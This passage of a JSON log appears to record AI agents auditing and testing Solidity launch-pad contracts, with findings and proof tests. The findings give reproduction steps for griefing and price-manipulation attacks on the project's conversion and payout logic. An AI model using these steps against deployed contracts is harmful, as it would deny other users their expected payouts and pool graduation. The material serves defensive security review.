IPoolManager pm;\n    PvPPad pad;\n    PadLiquidity liq;\n    PadGame pvp;\n    Griefer griefer;\n    PoolKey imdKey;\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        ArbSysStub impl = new ArbSysStub();\n        vm.etch(address(0x64), address(impl).code);\n        arb = ArbSysStub(address(0x64));\n        StubIMD imdImpl = new StubIMD();\n        vm.etch(IMD, address(imdImpl).code);\n        pm = IPoolManager(deployCode(\"PoolManager.sol:PoolManager\", abi.encode(OWNER)));\n        imdKey = PoolKey(address(0), IMD, 10_000, 100, address(0));\n        bytes32 id = keccak256(abi.encode(imdKey));\n        Deployer d = new Deployer();\n        d.deployAll(OWNER, address(pm), IMD, id);\n        pad = d.pad();\n        liq = d.liquidity();\n        pm.initialize(imdKey, uint160(1 << 96));\n        griefer = new Griefer(pm, liq);\n        vm.deal(address(griefer), 200 ether);\n        StubIMD(IMD).mint(address(griefer), 200 ether);\n        griefer.addLiquidity(imdKey, 68 ether);\n        // open the pad with a mined hook salt\n        bytes32 h = liq.hookInitCodeHash();\n        bytes32 salt;\n        for (uint256 i; i < 300_000; ++i) {\n            address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(liq), bytes32(i), h)))));\n            if (uint160(a) & 0x3FFF == 0x2000) {\n                salt = bytes32(i);\n                break;\n            }\n        }\n        vm.prank(OWNER);\n        pad.openPad(salt);\n        pvp = PadGame(pad.gameOf(1));\n        // one player enters, rolls once, game ends by inactivity, finalize\n        address p = address(0xA1);\n        vm.deal(p, 1 ether);\n        vm.prank(p);\n        pvp.enter{value: 0.001 ether}();\n        vm.warp(block.timestamp + 10 minutes);\n        arb.advance(2400);\n        pvp.draw(32);\n        arb.advance(4);\n        while (!pvp.drawComplete()) pvp.draw(32);\n        vm.prank(p);\n        pvp.roll{value: 0.002 ether}();\n        vm.warp(block.timestamp + 11 minutes);\n        arb.advance(300);\n        pvp.resolvePending(16);\n        pvp.finalize();\n        assertGt(pvp.ethRaised(), 0);\n    }\n\n    function test_nestedUnlockCallerCannotStarveConversion() public {\n        pvp.prepareConversion();\n        (uint256 remaining0,,,,,,) = liq.conversions(address(pvp));\n        // Attacker lands first in the 30-second window from inside its own unlock.\n        griefer.griefConvert(address(pvp));\n        (uint256 remaining1, uint256 converted1,, uint64 attempted,,,) = liq.conversions(address(pvp));\n        assertEq(remaining1, remaining0, \"no progress was made by the griefer\");\n        assertEq(converted1, 0);\n        // Expected: the honest chunk right after still converts. Actual: the interval was consumed\n        // by a call that could never reach the venue, and the honest call reverts.\n        bool honestOk;\n        try liq.convertChunk(address(pvp)) {\n            honestOk = true;\n        } catch {}\n        (, uint256 converted2,,,,,) = liq.conversions(address(pvp));\n        assertTrue(\n            honestOk && converted2 > 0,\n            \"a nested-unlock caller consumed the conversion interval without progress (attempted stamp set)\"\n        );\n        assertEq(attempted, 0, \"attempt stamped although the venue was never reached\");\n    }\n}","reproduction":"Finalize a game with ethRaised > 0 and call prepareConversion. From a contract that is inside its own pm.unlock() callback, call liq.convertChunk(game): it succeeds (ConversionStalled), conversions[game].lastAttempt == block.timestamp, remainingEth unchanged. Then an honest liq.convertChunk(game) in the same block (or within 30 s) reverts with PadConversionInterval(). Expected: the nested caller is rejected (PadManagerUnlocked) or does not consume the interval, so the honest chunk converts > 0 ETH. Actual: the honest chunk reverts and nothing is converted in that window; repeating every 30 s for 24 h forces the fallback graduation.","severity":"medium","title":"convertChunk consumes a game's 30 s conversion interval when called from inside a PoolManager unlock, letting a griefer starve conversion into the 24 h fallback"},{"description":"convertChunk and burnChunk take their sqrt-price limit from the current spot with no TWAP or external reference. An actor who provides most of the IMD/ETH liquidity recoups the 1% fee of its own manipulation swap, so it can shift the spot before each chunk and buy the pad's ETH (up to ~0.5% of the pool's ETH reserve at the manipulated price, every 30 s per game) at that price. The code comment and docs/AUDIT.md already state that the limit is not a guarantee against spot manipulation; this is recorded here so the launch reviewer weighs it against the live venue's LP concentration. The existing sandwich fuzz (non-LP attacker) is not evidence against an LP-attacker. No test can be written around it without changing the design (an oracle or a deadline-bound quote).","line":467,"path":"src/PadLiquidity.sol","reproduction":"On a venue where the attacker owns ~90% of liquidity: swap IMD->ETH to raise the IMD price 10x, call convertChunk(game), swap back. The attacker's fee loss is ~10% of 2% of its manipulation volume while it captures ~90% of the chunk's ETH at the inflated price. Expected per the brief: chunks convert near the honest price. Actual: price is whatever the dominant LP sets.","severity":"info","title":"Spot-relative 1% limits bound per-chunk impact only; a dominant IMD/ETH LP can move the spot at near-zero cost and absorb conversion and burn chunks at a manipulated price"}],"hash":"8dd0a29b8b03b8614411c46ab3957b17bdfa3f8585011cd4f6699590e4b62a90","nodeId":"c27071ca-d1aa-4541-b475-cbb6aef78528","outcome":"completed","summary":"Done. Two new test files are delivered under `test/`, the whole suite passes with the verifier's seed, and one defect is reported with a runnable proof.\n\n**Outcome**\n\n- Full run with `FOUNDRY_FUZZ_SEED=0xb5c5…f6c`: 237 tests in `test/` pass (219 inherited plus 18 new), zero skipped. The only failing test is the scratch proof, which is meant to fail and is deleted before verification.\n- `forge build` succeeds after `forge fmt` on the new files. No configuration, source, or dependency was touched; nothing was installed.\n\n**New tests**\n\n- `test/V4BailConversionInvariant.t.sol`: a handler-driven invariant campaign (64 runs × 64 calls) on the real v4-core PoolManager with a real IMD/ETH venue that an outside trader keeps moving. The existing campaign never called `bailOut` or `convertChunk` and ran without an IMD pool. Actions: enter, roll, bail-out with minOut at, above and below the predicted payout, warps, resolves, finalize, chunked conversion, graduation, venue trades, two-hop burns, crowns, in-kind fee collection, launches. Invariants: each game's balance equals its obligations; PadLiquidity ETH equals bucket plus escrows plus parked claims and its IMD equals conversion credit plus burn intermediate; system ETH conserved; sold coins equal wallet holdings until graduation and the constant product never drops below K after sells; erased seats are never alive, never counted for the king, never ranked, and funded caps stay within 3× roll income and 15% of net curve ETH; the converting phase is reported exactly when an open escrow cannot graduate yet; graduation and erasure are final. Handler-side predictions (payout formula, pot delta, rollPot untouched, 1% sqrt-price bound per chunk, escrow ledger conservation, refusals only when ineligible) are recorded as violations rather than reverts so a swallowed revert cannot hide them.\n- `test/V4Edges.t.sol`: 17 failure-path and boundary tests. Zero-coin bail-outs, minOut of one wei, bail-outs refused after the bell and at the hard end, expired pending rolls of an erased seat returning tips to the pot with no height effect, an erased seat one step below the cap that cannot ring, the king's split skipping a game once erasures drop it under five seats, every seat bailing out ending the game at once and failing graduation with the finalizer fee taken from roll income, a 256-run fuzz of the payout formula and curve ledger, escrow start gating and idempotence, a reverted direct `graduate` leaving no half-started escrow while `poke` converts and graduates atomically, stranger and double-escrow rejections, exact limit stops on three consecutive partial fills with an arbitrageur between them, a last chunk filling below the limit, a venue that dries up after partial progress falling back with partial IMD at the same price, the burn's second hop running on leftover IMD alone, a dry IMD venue keeping the bucket, and a king that rejects ETH still receiving IMD and coins.\n\n**Findings** (`.imd-findings.json`)\n\n- Medium, with proof in `test/scratch/NestedUnlockGrief.t.sol`: `convertChunk` stamps the 30 s attempt before its bounded venue call and has no `requireManagerLocked()` guard. A caller inside its own PoolManager unlock makes the nested unlock revert, yet the interval is consumed and the honest chunk right after reverts. One cheap call per window for 24 hours forces the fallback graduation, sending curve ETH to the carry pot. The proof fails on the current code for exactly that reason.\n- Info, no proof: the spot-relative 1% limit does not protect against a dominant LP of the IMD/ETH venue who sets the spot at near-zero cost. This is already acknowledged in the code comment and audit notes; it is recorded for the launch reviewer.\n\n**Still owed**: fork runs against the live Robinhood PoolManager and IMD token could not be done here, since neither this machine nor the verifier has network access.","treeHash":"16f3a8242ba179cc46f58d6d14aa76d54ea0be37","usage":{"cachedInputTokens":2591515,"inputTokens":546,"model":"claude-fable-5-1","outputTokens":71342,"runtime":"claude","turns":48,"wallClockMs":2118429}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"9e51ef2afd7c2af8","findings":[],"hash":"97ae2d1991de23f39b1d501aa7fac7160b19b586566d0040dafb26d6ada7c6c1","nodeId":"f25d3e49-061f-44c3-802c-367f1770e488","outcome":"failed","summary":"could not restore accepted work: accepted work conflicts with a dependency that changed the same files after it was accepted: Command failed: git -c user.name=IdentityMD Worker -c user.email=worker@identitymd.invalid merge --no-edit -m imd: reapply this node's accepted work 56d46d3e0a28018bb526f676348ccc0534ada066\n","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":null,"outputTokens":0,"runtime":"claude","turns":0,"wallClockMs":913}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"2ab0b432477fde6c","findings":[{"citation":"resolved","description":"Asymmetry lens (pre/post, first-time vs subsequent). startConversion seeds the stall timer with the game's finalizedAt rather than with the moment the escrow actually arrives and the first chunk could be attempted. canGraduate (src/PadLiquidity.sol:249-254) then returns true the instant block.timestamp >= finalizedAt + 24h with remainingEth != 0. Every permissionless lifecycle entry point (PadGame.graduate(), poke(), upkeepStep via the pad) reaches _prepareConversion() -> startConversion -> canGraduate == true before any convertChunk is tried: _conversionStep (src/PadGame.sol:339-352) only tries a chunk when canGraduate is false, and _graduate (src/PadGame.sol:770-775) never tries one. So the brief's 'if conversion makes no progress for 24h' fallback also fires for a launch where conversion was never attempted, which routes the king's fees for that launch to ETH instead of IMD, puts the unconverted ETH into a native pool (or, had any chunk succeeded, into the carry pot) and skips the IMD-quoted pool the launch was supposed to get. This is a liveness assumption rather than a forceable attack: nobody can prevent other callers from converting, but the pad's bounded upkeep only tends the latest entered game plus one round-robin older game, so a finalized game deep in a long entered list, on a quiet pad, depends on an external keeper calling convertChunk(game) within 24h of finalization. Expected: the 24h window should start when the escrow is created (first startConversion / first attempt), or graduate()/poke() should attempt one chunk before accepting the fallback. Verified with test/scratch/Review.t.sol (test_lead_idle24hSkipsConversionEntirely passes on this tree: conversions(pvp) shows converted == 0, received == 0, imdPool[pvpToken] == false, pool initialised as native). Calling poke() instead of graduate() at the same moment produces the same native graduation (test_lead_idle24hPokeConvertsInstead fails its 'poke converted a chunk' assertion), so both entry points agree and the clock anchor is the root cause.","line":211,"path":"src/PadLiquidity.sol","reproduction":"Real v4 PoolManager with the IMD/ETH pool seeded with 68 ETH of full-range liquidity (as in V4PadTest.setUp). openPad; six wallets enter PVP; each rolls once; warp past endTime, resolve pending, finalize() at time T (ethRaised > 0, status() == 8 'converting'). Make no call of any kind until T + 24h. Then any account calls pvp.graduate() (or pvp.poke(), or PvPPad.upkeep()). Expected per brief: the launch converts curve ETH to IMD and graduates into a coin/IMD pool (the venue is healthy; convertChunk(pvp) would succeed at this moment). Actual: _prepareConversion sends ethRaised to PadLiquidity with lastProgress = T, canGraduate(pvp) is already true, graduate() initialises a native coin/ETH pool, liq.imdPool(pvpToken) == false, conversions(pvp).convertedEth == 0 and imdReceived == 0, ConversionFallback(game, 0, true) is emitted, and no chunk was ever swapped.","severity":"low","snippet":"        c.lastProgress = finalizedAt;","title":"Conversion stall clock is anchored at finalizedAt, so a launch nobody touches for 24h after finalization graduates into the native coin/ETH pool with zero conversion attempts although the IMD venue is"},{"citation":"resolved","description":"Asymmetry lens (roll <-> bailOut storage symmetry) crossed with access (anyone may restartGenesis). quoteSell is the exact inverse of quote on the same virtual reserves, so the most recent buyer's coins sell back for exactly the curve ETH they spent (V == C, payout == C, pot share 0). When every roller unwinds in reverse order, ethRaised and tokensSold return to exactly 0 while the game has rolls, a pot (7%/9% of roll ETH plus expired tips) and possibly king funding. _graduate then takes the ethRaised == 0 branch (src/PadGame.sol:778-782): failed = true, every coin burned, no pool. For the genesis this makes PvPPad.genesisFailed() true and PvPPad.restartGenesis()/launch() (src/PvPPad.sol:99-106, 137-138) relaunch PVP, burning the first PVP supply and resetting the pad's king-opening and burn target; every other entrant's 0.001 ETH entry stays in the burn bucket and the restarted genesis costs them a second entry. The cost to the sole roller is 10% of one roll (0.0002 ETH) plus entry. The v3 safeguard documented in docs/AUDIT.md #4 ('A failed genesis requires its draw to finish and no roll before all Imps die') and the NatSpec at src/PvPPad.sol:95 no longer hold. This is cheap griefing of the genesis (and a documentation defect), not a theft: pot ETH still goes to carry via the living == 0 branch. Verified with test/scratch/Review.t.sol test_lead_genesisFailsAfterRollsViaBailOut (passes on this tree: bail payout 1800000000000000 wei == the full 90% curve share of one 0.002 ETH roll; ethRaised == 0; tokensSold == 0; failed == true; genesisFailed() == true; a non-owner restartGenesis succeeds and genesisId becomes 2).","line":778,"path":"src/PadGame.sol","reproduction":"openPad; six wallets enter PVP (signup 10 min); only players[0] rolls once (0.002 ETH: 0.0018 to the curve, curveSpent = 0.0018); wait 61s, resolve the roll; players[0] calls bailOut(0). Expected per AUDIT #4: a genesis with at least one roll cannot be marked failed. Actual: quoteSell(all coins) == 0.0018 ETH == curveSpent, payout == 0.0018 ETH (pot share 0), ethRaised == 0 and tokensSold == 0; after endTime, finalize() then graduate() set failed = true and burn the whole PVP supply (Failed event); pad.genesisFailed() == true; players[5] calls pad.restartGenesis() successfully and a second PVP genesis is created while the five other entrants' entry fees stay in PadLiquidity.burnBucket.","severity":"low","snippet":"        if (ethRaised == 0) {\n            failed = true;","title":"bailOut lets a genesis (and any launch) end with ethRaised == 0 after rolls, so the 'failed' path, restartGenesis and the AUDIT/NatSpec claim 'ended without a single roll' now trigger for a played gam"},{"citation":"resolved","description":"Trust-gap note, reported for the record and not as a confirmed defect: the brief instructs to treat IMD as a plain ERC20, and no RPC may be used to inspect 0x5f7bb59365ce557c26dbcaa4ee9d39a4b95b7127. _settleToken (src/PadLiquidity.sol:596-601) and collectPool (src/PadLiquidity.sol:423) call IPadToken(imd).transfer through an interface declared as returning bool. If the live IMD followed the USDT-style no-return convention, ABI decoding would revert on every IMD settlement: PadLiquidity.graduate would revert for every launch with imdReceived != 0 while canGraduate stays true, so the escrowed ETH, the received IMD and the locked coins of that launch would be stuck permanently (status() reports 4 forever), the two-hop burn would revert whenever used > bought, and IMD king fees would flag every IMD pool broken. The protected floor and the offline tests use a bool-returning TestIMD, so this cannot be observed in the repository. The deployer's pre-opening checklist (AUDIT external finding 8) should include an explicit verification that IMD.transfer returns true on the target chain, or the code should settle IMD through a low-level call that tolerates an empty return.","line":599,"path":"src/PadLiquidity.sol","reproduction":"Replace TestIMD in test/V4Pad.t.sol with a token whose transfer(address,uint256) has no return value (identical balances logic, returns nothing). Run test_graduationPriceEquivalentAndUnlocksInSameTransaction. Expected per brief: graduate succeeds. Actual: PadLiquidity.graduate reverts inside unlockCallback when _settleToken decodes the empty return of IMD.transfer; canGraduate(pvp) remains true and the escrowed ETH/IMD and the launch's coins are unreachable by any entry point.","severity":"info","snippet":"        if (!(IPadToken(token).transfer(address(poolManager), amount))) revert PadErrors.PadToken();","title":"Graduation into an IMD pool, two-hop burn and IMD king fees all depend on IMD's transfer returning a bool; an IMD that returns nothing would strand every converting launch at graduate() (unverified li"},{"citation":"resolved","description":"Access-control / manifest consistency note. PvPPad(owner_, ...) receives \"$owner\" (launch.json:15), which the manifest rules resolve to the wallet that paid for the launch because the brief names no owner. KingOfThePad(pad, liquidity, dev_) receives the static 0x5b95a971b4583a5f011e9da082acdd679b870d06 (launch.json:34), which the notes describe as 'explicitly specified' although the brief for this launch does not state it (it is inherited from launch 1764). README.md:27 and docs/AUDIT.md:18 state that owner and dev are the same address 0x5b95...0d06. The schema is otherwise valid (kind, contracts, notes; one entry per constructor word; lowercase addresses; names unique and short) and both roles are limited: owner can only openPad before day 30, dev only receives 25% of crown extras and cannot pause, upgrade, mint or sweep. The inconsistency matters only if $owner resolves to a different wallet, in which case the deployed privilege map differs from the documented one. The requester should either name the owner explicitly in the brief (so the manifest writes the static address for both) or update README/AUDIT to say the two may differ.","line":34,"path":"launch.json","reproduction":"Resolve the manifest with a paying wallet W != 0x5b95a971b4583a5f011e9da082acdd679b870d06. Expected per README.md:27 and docs/AUDIT.md:18: one wallet holds both the early openPad power and the dev share. Actual: PvPPad.owner() == W (only W may openPad before deployedAt + 30 days) while KingOfThePad.dev() == 0x5b95...0d06 receives every devShare in takeCrown (src/KingOfThePad.sol:101-104).","severity":"info","snippet":"        \"0x5b95a971b4583a5f011e9da082acdd679b870d06\"","title":"launch.json gives PvPPad's owner as $owner but hard-codes KingOfThePad's dev recipient, while README/AUDIT state owner and dev are the same wallet; if the paying wallet differs from 0x5b95...0d06 the "}],"hash":"a073cce1b7ace58d9fcb39445124ddf686ef798b1ce53c90d5c1408361d11eb0","nodeId":"ccd35c03-6646-466c-9426-bec827f60d01","outcome":"completed","summary":"The review is complete and `.imd-findings.json` is written and validated: four findings, all four snippets match the tree, and all 48 verifier entry points have a coverage row (51 rows including three invariant rows).\n\n**What I covered.** I mapped the full permission model across the five contracts against the Access Control, Trust Gap and Asymmetry guides: every role, every `msg.sender` check, the one-shot bindings, the self-call gates, the v4 callback, the token lock, and the new v4 surfaces (bail-out, conversion escrow, IMD graduation, two-hop burn). I also verified with scratch tests that a foreign clone of the game template cannot reach the escrow paths, and that an erased seat's pending roll cannot ring the bell. The access-control surface holds: no unguarded writer, no escalation chain, no confused deputy.\n\n**Findings, by severity.**\n\n- **Low. Conversion stall clock anchored at finalization.** The escrow seeds its 24h \"no progress\" timer with the game's `finalizedAt`, so a launch nobody touches for 24h after finalizing is graduated into the native coin/ETH pool with zero chunks ever attempted, even though the IMD venue is liquid. Reproduced: finalize, warp 24h, call `graduate()` or `poke()`, pool is native and nothing was converted. It is a liveness assumption rather than a forceable attack.\n- **Low. Genesis can now fail after rolls.** The last buyer's bail-out exits at par, so a sole roller who bails returns `ethRaised` to exactly zero. After the game ends the `failed` branch burns the PVP supply and anyone can `restartGenesis()`. Cost to the griefer is 10% of one roll plus entry. The AUDIT #4 claim and the PvPPad NatSpec (\"ended without a single roll\") are no longer true.\n- **Info. IMD bool-return dependency.** IMD settlement, the second burn hop and IMD king fees all decode a bool from IMD's transfer. A no-return IMD would strand every converting launch at graduation. The brief rules this out, so it is recorded as a dependency to verify pre-open, not a defect.\n- **Info. Manifest and docs disagree on owner versus dev.** The manifest uses `$owner` for the pad but hard-codes the dev wallet for KingOfThePad, while README and AUDIT state they are the same address.\n\n**Not reached.** Crown settlement gas with ten live games after a long strict pool walk is inherited v3 behaviour and was not re-measured within the budget. It is marked `unreached` in the coverage record.","treeHash":null,"usage":{"cachedInputTokens":1732342,"inputTokens":418,"model":"claude-fable-5-1","outputTokens":63356,"runtime":"claude","turns":26,"wallClockMs":1044895}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"1731fbfe0c4574fb","findings":[{"citation":"resolved","description":"Confirms the tester's finding 813307aa against this tree. The revision that fixed my finding 15d57b2a made the anchor pad-wide, max-only and publicly observable (observeMarket, src/PadLiquidity.sol:244-251): the only guard against a flash push is that the PoolManager must be locked at the moment of the read. A stranger holding ~12 IMD therefore does, in ONE transaction: unlock #1 sells 12 IMD into the IMD/ETH venue (sqrt price up ~17%), then calls observeMarket() while the manager is locked between unlocks (recorded: anchor = pushed spot), then unlock #2 buys the IMD back with the ETH received. The venue is back within 1% of the fair price and the griefer paid only the two 1% fees (measured 0.2213 IMD), but marketAnchor now sits 17.5% above the market. convertChunk's limit is max(0.995*spot, 0.99*anchor) (src/PadLiquidity.sol:280-289), so every chunk of every converting game is refused (ConversionStalled, lastAttempt untouched) until the anchor decays 0.5% sqrt per hour below spot*1.01, i.e. about 33 hours; the 24-hour no-progress fallback (canGraduate, src/PadLiquidity.sol:335-341) fires first, so a game whose escrow was created before the push graduates into the v3 coin/ETH pool with zero IMD (or with partial IMD and the rest of its escrow sent to the carry pot). The anchor is shared, so one push hits every game converting at the time; it is repeatable daily. The 'never stranded' fallback still works, so no funds are lost, but CHANGE 2's guarantee ('every coin graduates into a coin/IMD pool') and the burn route / in-kind IMD king fees for that launch are denied by an unprivileged party at trivial cost, and docs/AUDIT.md #37 ('raising the anchor ... sells the game IMD cheaply; it delays chunks only by the decay time') does not hold when the push is unwound in the same transaction and the delay exceeds the fallback. The griefer only needs ~8.8 IMD for the minimum push (13% sqrt = 24 h of decay plus the 1% band), or can buy the IMD with ETH in the same block and sell it back afterwards (four 1% fees, no price exposure). Mitigations that keep the design: cap how far one observation may raise the anchor per hour (e.g. the same 0.5% sqrt the decay uses), or anchor on a time-weighted observation rather than an instantaneous maximum; and/or do not count a stall whose cause is anchor > spot*1.01 toward the 24 h no-progress clock while spot itself is within the normal band.","line":247,"path":"src/PadLiquidity.sol","reproduction":"Real v4-core PoolManager; IMD/ETH pool with the production key (ETH, IMD, fee 10000, spacing 100) initialised at sqrt price 2^96 with 68e18 full-range liquidity; pad opened. One player enters PVP, the draw runs, the player rolls once (ethRaised = 0.0018 ETH), the game ends on its clock, resolvePending, finalize(), prepareConversion(): anchor() == spot == 2^96 (within 0.1%). A contract holding 12 IMD then, in a single transaction, sells 12 IMD (oneForZero, no limit), calls PadLiquidity.observeMarket(), and buys IMD back with all the ETH received. Measured: griefer cost 221282327748328764 wei IMD; spot after 79346168583715331353181611803 (within 0.15% of 2^96); anchor() 93069788553521107161357216953 (1.1747 x fair). A keeper then calls convertChunk(pvp) once per hour for 24 hours. Expected (brief CHANGE 2 and test_lastChunkFillsCompletelyBelowTheLimitAndClosesTheEscrow without the push): the 0.0018 ETH escrow converts in one chunk and graduate() seeds a coin/IMD pool. Actual: conversions(pvp) = remainingEth 1800000000000000, imdReceived 0, lastAttempt 0 after all 24 calls (every chunk refused by the band); canGraduate(pvp) == true through the no-progress timeout; pvp.graduate() succeeds and liq.imdPool(pvpToken) == false (v3 coin/ETH pool). Run: forge test --match-path test/scratch/Proof_AnchorRoundTrip.t.sol -vv (fails: 'the healthy venue must have converted something within 24 hours: 0 <= 0'). The same scenario on the suite's own harness (test/scratch/AnchorGriefCheck.t.sol) fails identically.","severity":"medium","snippet":"        uint256 spot = sqrtPriceOf(imdEthKey());\n        if (spot > ref) ref = spot;\n        marketAnchor = uint160(ref);","title":"Public observeMarket records a same-transaction IMD sell/buy-back round trip as the pad-wide anchor, stalling every conversion for over 24 h and forcing the no-IMD fallback for ~0.22 IMD"},{"citation":"resolved","description":"Confirms the economics specialist's finding 7e098dc2. Funded ETH (carry release pulled by takeCarry at src/PadGame.sol:661-664, and king fundGames money already in fundedPot) is paid only when at least FUNDED_MIN_LIVING = 5 non-erased seats are alive at the end; otherwise 'returned = funded' sends all of it back to the carry pot (src/PadGame.sol:685-686, 715-716). bailOut (src/PadGame.sol:294-325) is allowed until the very last second of play and pays C + (V - C)/2 when V >= C, so a seat that is ranked outside the paid half (paid = (living+1)/2 = 3 of 5) gives up nothing it would otherwise have received: it collects its curve cost plus half its curve gain and, by erasing itself, drops living to 4 and vetoes the funded release for the three paid ranks. The veto costs the griefer nothing when V >= C (early buyer) and at most 10% of V otherwise; the ETH returns to the carry pot, so no protocol funds are lost, but the brief's 'erased ... cannot count as living' rule makes the funded release of every game with exactly five living seats trivially cancellable by its lowest-ranked player, which the design and docs/AUDIT.md #13/#31 do not acknowledge. Advisory: the design decision is the requester's; a fix that keeps it would count seats that were alive and non-erased at a cut-off (e.g. erased seats within the final N minutes still count toward FUNDED_MIN_LIVING but earn nothing), or document the veto.","line":685,"path":"src/PadGame.sol","reproduction":"Real v4-core PoolManager, pad opened. Five wallets enter PVP; after the draw each rolls every 61 s until two minutes before hardEnd (all five alive at the end); pad.fundCarry{value: 1 ether}() so carry is available; fundedReleaseCap() == 64800000000000000 (0.0648 ETH, 15% of the 0.432 ETH curve). Pick the living seat with the smallest |height| (it would earn nothing: paid = 3 of 5). At endTime - 1 s that wallet calls bailOut(0): it receives 100302377450948383 wei for curveSpent 86400000000000000 wei (a profit; cost of the veto is zero). Warp past endTime, resolve pending rolls, finalize(). Expected by the other players: living == 5, takeCarry pulls 0.0648 ETH and ranks 1-3 receive it. Actual: livingAtEnd == 4, takeCarry is never called, pad.carryPot() is unchanged at 1 ether before and after finalize, FundedReturned is emitted for any king funding, and ranks 1-3 receive only the roll pot plus the bail tax. Run: forge test --match-path test/scratch/BailVetoCheck.t.sol -vv (asserts the stuck carry; passes on this tree, i.e. demonstrates the veto).","severity":"low","snippet":"        if (living < FUNDED_MIN_LIVING) {\n            returned = funded;","title":"A fifth seat ranked outside the paid half can bail out at the last second of play and cancel the whole funded release for the other players at no cost (it even keeps half its curve profit)"}],"hash":"a361c95003138470d3298429052c11a380aa31098868bcf88c0fd154f26b8922","nodeId":"3912a551-e552-404c-98a6-814d2cc6875d","outcome":"completed","summary":"Review complete. The findings file is written at `.imd-findings.json` with 2 findings and a 53-row coverage record. Nothing outside `test/scratch/` and the findings file was touched, and git reports the tree clean for tracked files.\n\n**Settlement of my earlier findings**\n\n- **15d57b2a (self-finalizing front-run): fixed.** The anchor is now pad-wide, max-only, and refreshed at every pad touch. The author's reproduction `test_frontRunBundledWithFinalizeCannotLowerTheAnchorAndLoses` passes in the full suite of 252 tests. The residual (decay since the last touch) is stated in AUDIT item 37.\n- **160a005c (README/AUDIT owner vs `$owner`): fixed.** launch.json, README, AUDIT's privilege table and VERIFY now all say both arguments are `$owner`. The offline validator accepts the manifest.\n\n**Findings this round**\n\n1. **Medium, with proof.** `observeMarket()` only checks that the PoolManager is locked at the moment of the read. A stranger holding ~12 IMD sells into the venue, calls `observeMarket()` between two unlocks, and buys back in the same transaction. Measured on the real PoolManager: cost 0.22 IMD, spot back within 0.15% of fair, anchor stuck 17.5% above market. Every `convertChunk` for every converting game is refused for about 33 hours, so the 24 h no-progress fallback fires first and the coin graduates into the v3 coin/ETH pool with zero IMD. Proof at `test/scratch/Proof_AnchorRoundTrip.t.sol` fails on this tree for that reason. This confirms the tester's finding 813307aa.\n2. **Low.** The lowest-ranked of exactly five living seats can bail out one second before the end, collecting its curve cost plus half its gain, and drop living to four so the entire funded release returns to carry. Reproduced with five rollers to the hard end: cap 0.0648 ETH available, bailer paid 0.1003 ETH for 0.0864 spent, carry pot unchanged after finalize. This confirms the economics specialist's finding 7e098dc2.\n\n**Dropped specialist reports.** The held front-run, dust-progress, finalizedAt stall clock (three reports), no-return IMD and static dev argument are all fixed in this tree, verified by reading the code and by the passing suite. The bail-out-to-zero genesis restart is documented as accepted griefing in AUDIT item 4.","treeHash":null,"usage":{"cachedInputTokens":1870258,"inputTokens":450,"model":"claude-fable-5-1","outputTokens":31537,"runtime":"claude","turns":27,"wallClockMs":724746}},{"artifacts":[],"attempt":1,"bundleHash":"bc19776a0516e1a5369fd68b0b333ff59ac2f5a93ef5a784b70adc28b6d5142b","device":"df74f6c887684f20","findings":[],"hash":"a9e3506ceb76acaa35ed0b38abdf7630d7a6706f03fb08e8387d580f223a55e7","nodeId":"c27071ca-d1aa-4541-b475-cbb6aef78528","outcome":"completed","summary":"All 251 tests pass under the pinned fuzz seed, and the working tree now differs only in my two test files.\n\n**What changed in this revision**\n\n- **Stale assertion fixed** in `test/V4Edges.t.sol`. My earlier test claimed the conversion stall clock starts at finalization. The implementer's revision moved it to escrow creation, and my assertion only still passed because both happened in the same block. The test now warps an hour between finalize and escrow, asserts the clock starts at the escrow, and shows the 24-hour fallback is not open at finalization plus 24 hours but is open at escrow plus 24 hours.\n- **Three new anchor-band tests** in `test/V4Edges.t.sol`, all on the real v4-core PoolManager with an outside router holding the IMD/ETH spot about 4% under the finalize-time anchor:\n  - A banded stall emits ConversionStalled, writes no attempt stamp, does not touch the venue, and a second call in the same block is still allowed. An arbitrageur restoring the venue lets the next chunk fill with no 30-second wait.\n  - A held stall is still stalled after four hours of 0.5% per hour anchor decay, goes through at eight hours, never crosses the band or the 1% spot limit, and a lower spot never lowers the anchor.\n  - A venue held under the band for 24 hours with hourly keeper attempts makes no progress, then graduates into the v3 coin/ETH pool with the escrow in the pool and nothing sent to carry.\n- **Invariant handler extended** in `test/V4BailConversionInvariant.t.sol`. Before each chunk it computes the chunk's floor from the anchor and spot. A chunk from a spot at or under the floor must stall with no progress, no venue movement and no interval consumed. A filling chunk must stop at or above the floor and never lower the anchor. The stall clock may refresh only on a fill of at least 0.1% of the escrow since the last mark or on completion, and must refresh then. After every call, canGraduate must agree with the 24-hour clock and the 7-day cap, and the stamp may never predate the escrow. A new long-warp action of up to three days makes those paths reachable inside sequences. A scratch test confirmed each new check is reached with zero violations.\n\n**Findings**\n\nNo defect in the revised implementation. The single failure I hit was in my own harness: a fill in the same block as escrow creation leaves the refreshed stamp numerically equal to the old one, so I compare the stamp to the current time instead. No findings file was written.\n\n**Not done**\n\nFork runs against the live Robinhood Chain IMD/ETH pool remain owed, since this machine and the verifier have no network. Nothing was committed; the tree holds the two modified test files.","treeHash":"3a8c8631cf233f1cd4f8bc08283a1c1018413b2f","usage":{"cachedInputTokens":2832425,"inputTokens":930,"model":"claude-fable-5-1","outputTokens":36874,"runtime":"claude","turns":32,"wallClockMs":1841741}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"2bdd77125ec75e6c","findings":[{"citation":"resolved","description":"convertChunk swaps the game's escrowed curve ETH into IMD with a sqrt-price limit derived from the pool's current spot (PadLiquidity.sol:468-473) and the whole conversion is public, deterministic and self-serviceable: anyone may call convertChunk(game) every 30 s (PadLiquidity.sol:218-229) until remainingEth is zero. The 1% limit bounds the impact of one chunk, but it is re-based on whatever spot an attacker has set, so it gives no protection against a position that is opened before the first chunk and closed after the last. The attacker buys IMD once, drives every chunk itself (no third-party flow needed, ~6 minutes for a 4 ETH escrow), and sells the IMD back after the last chunk. The conversion then buys IMD at an inflated price for its entire escrow; the shortfall lands in PadLiquidity.graduate (PadLiquidity.sol:280-282), where IMD per LP coin = imdReceived / coins, so every coin holder's exit value and the permanent LP are reduced by the same fraction. The repository's own test testFuzz_sandwichOnConversionChunkLoses only brackets a single chunk and therefore concludes 'a sandwich does not pay'; docs/AUDIT.md #13 relies on the conversion obtaining a fair I = B*e/(A+e). 